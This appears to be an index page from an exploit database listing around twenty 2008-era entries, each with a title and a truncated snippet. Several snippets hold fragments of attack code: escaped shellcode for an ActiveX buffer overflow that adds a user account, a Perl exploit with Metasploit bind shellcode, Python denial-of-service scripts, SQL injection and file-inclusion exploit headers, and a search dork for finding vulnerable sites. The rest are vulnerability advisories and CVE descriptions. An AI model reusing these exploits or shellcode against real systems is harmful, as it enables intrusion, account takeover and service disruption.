[BMSA 2008-07] Format string vulnerability in 5th stree

BLUE MOON SECURITY ADVISORY 2008-07 =================================== :Title: Format string vulnerability in 5th street Hot Step, High Street 5 :Severity: Critical :Reporter: Blue Moon Consulting, superkhung :Products: 5th street and derived clients :Fixed in: -- Description ----------- 5th...

muvee autoProducer 6.1 - 'TextOut.dll' ActiveX Remote Buffer Overflow

//completely ripped from a rgod exploit //add su one, user: sun pass: tzu shellcode = unescape"%u03eb%ueb59%ue805%ufff8%uffff%u4949%u3749%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4949%u5a51%u456a" + "%u5058%u4230%u4231%u6b41%u4141%u3255%u4241%u3241" +...

BlackJumboDog Remote Buffer Overflow Exploit

No description provided by source. !/usr/bin/perl blackJumboDog Exploit code by Tal zeltzer use strict; use IO::Socket::INET; usage unless@ARGV == 2; my $host = shift@ARGV; my $port = shift@ARGV; win32bind - Encoded Shellcode \x00\x0a\x09 EXITFUNC=seh LPORT=4444 Size=399 http://metasploit.com my...

PHP 5.2.6 - 'sleep()' Local Memory Exhaust

There is some kind of issue in PHP we can run out memory even on SAFEMODE script simply allocate maximum of memory and go to sleep for, let's say 9999999 seconds. sleep pass 'maxexecutiontime' setting. Ram eater sploit ? if ! $purl = @parseurl$url die'sorry, parseurl function disabled Oo'; if !...

MX-System 2.7.3 (index.php page) Remote SQL Injection Vulnerability

No description provided by source. Name : MX-System 2.7.3 index.php page Remote SQL Injection Vulnerability Author : cOndemned Dork : intext:Powered by MX-System 2.7.3 Greetz : ZaBeaTy, str0ke, doctor, Avantura /3 PoC :...

Symantec Altiris Client Service 6.8.378 Local Privilege Escalation Exploit

No description provided by source. // 0day PRIVATE NOT DISTRIBUTE!!! // // Symantec Altiris Client Service Local Exploit 0day // // Affected Versions : Altiris Client 6.5.248 // Altiris Client 6.5.299 // Altiris client 6.8.378 // // Alex Hernandez aka alt3kx // ahernandez at sybsecurity.com...

Web Slider 0.6 - Insecure Cookie/Authentication Handling

--==+================================================================================+==-- --==+ Web Slider = 0.6 Insecure Cookie/Authentication Handling +==-- --==+================================================================================+==-- Discovered By: t0pP8uZz Discovered On: 15 MAY...

txtCMS 0.3 (index.php) Local File Inclusion Exploit

Exploit for unknown platform in category web applications =================================================== txtCMS 0.3 index.php Local File Inclusion Exploit =================================================== txtCMS 0.3 index.php Local File Inclusion Exploit 0day.today 2018-03-09...

vShare Youtube Clone 2.6 (tid) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ================================================================= vShare Youtube Clone 2.6 tid Remote SQL Injection Vulnerability ================================================================= !/usr/bin/perl Coded by: Saime vShare Youtu...

Scout Portal Toolkit <= 1.4.0 (ParentId) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl Scout Portal Toolkit = 1.4.0 ParentId Remote SQL Injection Exploit Discovered & Coded by JosS Contact: sys-projectathotmail.com Spanish Hackers Team / Sys - Project / EspSeC http://www.spanish-hackers.com rgod forever :D print " "; print " Scout...

Deciphering the Simple Machines Forum audio Captcha

The Simple Machine’s Forum audio Captcha that has been hardened from attack. I have contacted SMF about this flaw and it has been verified. I go into greater detail of how i am able to break this captcha here: http://www.rooksecurity.com/blog/?p=6 Exploit Code:...

Design/Logic Flaw

The NeffyLauncher 1.0.5 ActiveX control NeffyLauncher.dll in CDNetworks Nefficient Download uses weak cryptography for a KeyCode that blocks unauthorized use of the control, which allows remote attackers to bypass this protection mechanism by calculating the required KeyCode. NOTE: this can be us...

CVE-2008-1886

The NeffyLauncher 1.0.5 ActiveX control NeffyLauncher.dll in CDNetworks Nefficient Download uses weak cryptography for a KeyCode that blocks unauthorized use of the control, which allows remote attackers to bypass this protection mechanism by calculating the required KeyCode. NOTE: this can be us...

Microsoft Works 7 'WkImgSrv.dll' ActiveX Control Remote Code Execution Vulnerability

Description Microsoft Works 7 'WkImgSrv.dll' ActiveX control is prone to a remote code-execution vulnerability because it fails to sufficiently verify user-supplied input. An attacker can exploit this issue to run arbitrary attacker-supplied code in the context of the currently logged-in user...

xmeasy-port-dos.txt

!/usr/bin/python XM Easy Personal FTP Server 5.4.0 PORT DoS 1 byte DoS! Elhamdulillahi Rabbil-alemin! EAX BAADF00D - bad food? : ECX BAADF00D bt ./sploit.py + Saljemo zli bafer : + Booooooooom!!!! + Finito! bt I wasn't smoking crack, ryujin gave me the red pill! : Vulnerability discovered and cod...

sabros.us 1.75 (thumbnails.php) Remote File Disclosure Vulnerability

No description provided by source. Remote File Disclosure Vulnerability sabrosus 1.75 thumbnails.php AUTHOR : HaCkeREgY My HoMe : www.PaL-HaCker.com ConTacT : [email protected] Download Script :...

Novel eDirectory HTTP - Denial of Service

!/usr/bin/python Novel eDirectory HTTP DOS Discovered and coded by Mati Aharoni muts..at..offensive-security.com http://www.offensive-security.com/0day/novel-edir.py.txt import socket import os import sys from time import sleep biff=""2048 print " Payload sent "+ strlenbuff expl = socket.socket...

RunCMS Module bamagalerie3 Remote SQL Injection Vulnerability

No description provided by source. RUNCMS 1.1A : bamagalerie3 Module Remote SQL Injection's cid Script Page : http://runcms.org/ ---------------------------------------------------------- AUTHOR : DreamTurk Exploit coded and founded by DreamTurk : [email protected]...

CA Multiple Products DSM ListCtrl ActiveX Control Buffer Overflow Vulnerability

Title: CA Multiple Products DSM ListCtrl ActiveX Control Buffer Overflow Vulnerability CVE: CVE-2008-1472 CA Advisory Date: 2008-03-28 Reported By: Exploit code posted at milw0rm.com Impact: A remote attacker can cause a denial of service or execute arbitrary code. Summary: CA products that...

destar 0.2.2-5 Arbitrary Add New User Exploit

Exploit for unknown platform in category web applications ============================================= destar 0.2.2-5 Arbitrary Add New User Exploit ============================================= !/usr/bin/python Exploit for destar 0.2.2-5, tested on Linux Debian Bug found and exploit coded by a...